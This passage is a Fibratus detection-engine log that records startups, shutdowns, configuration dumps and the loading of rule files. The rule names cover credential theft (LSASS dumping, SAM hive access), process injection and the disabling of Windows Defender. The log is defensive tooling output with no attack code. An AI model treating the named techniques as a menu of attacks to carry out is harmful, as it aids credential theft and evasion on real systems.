C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T19:38:31+01:00 level=info msg=bootstrapping with pid 17000. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T19:38:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false enable-registry=>true enable-fileio=>true enable-image=>true enable-audit-api=>true flush-interval=>1s stack-enrichment=>true enable-dns=>false min-buffers=>16 enable-threadpool=>false enable-thread=>true enable-handle=>false enable-net=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 max-age=>0 max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ index-name=>fibratus template-name=>fibratus gzip-compression=>false sniff=>false healthcheck-interval=>10s bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false flush-period=>1s enabled=>false timeout=>5s healthcheck=>true servers=>[http://127.0.0.1:9200]] http=>[ method=>POST enabled=>false endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ exchange=>fibratus delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false durable=>false timeout=>5s vhost=>/ enabled=>false passive=>false url=>amqp://localhost:5672 routing-key=>fibratus]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true skip-registry=>false enabled=>false scan-timeout=>10s skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T19:38:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:38:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:51:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T19:51:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:51:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:51:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T19:51:30+01:00 level=info msg=bootstrapping with pid 7876. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T19:51:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false stack-enrichment=>true enable-mem=>false enable-vamap=>true enable-net=>true buffer-size=>512 enable-dns=>false enable-fileio=>true enable-registry=>true enable-audit-api=>true enable-threadpool=>false min-buffers=>16 max-buffers=>36 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text max-backups=>15 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-timeout=>5s trace-log=>false sniff=>false healthcheck-interval=>10s template-name=>fibratus healthcheck=>true timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] index-name=>fibratus flush-period=>1s gzip-compression=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ passive=>false url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false durable=>false tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic timeout=>5s vhost=>/] http=>[ timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-files=>false skip-registry=>false scan-timeout=>10s skip-mmaps=>false excluded-files=>[] skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-04T19:51:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:51:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:51:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T19:51:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:51:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:51:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 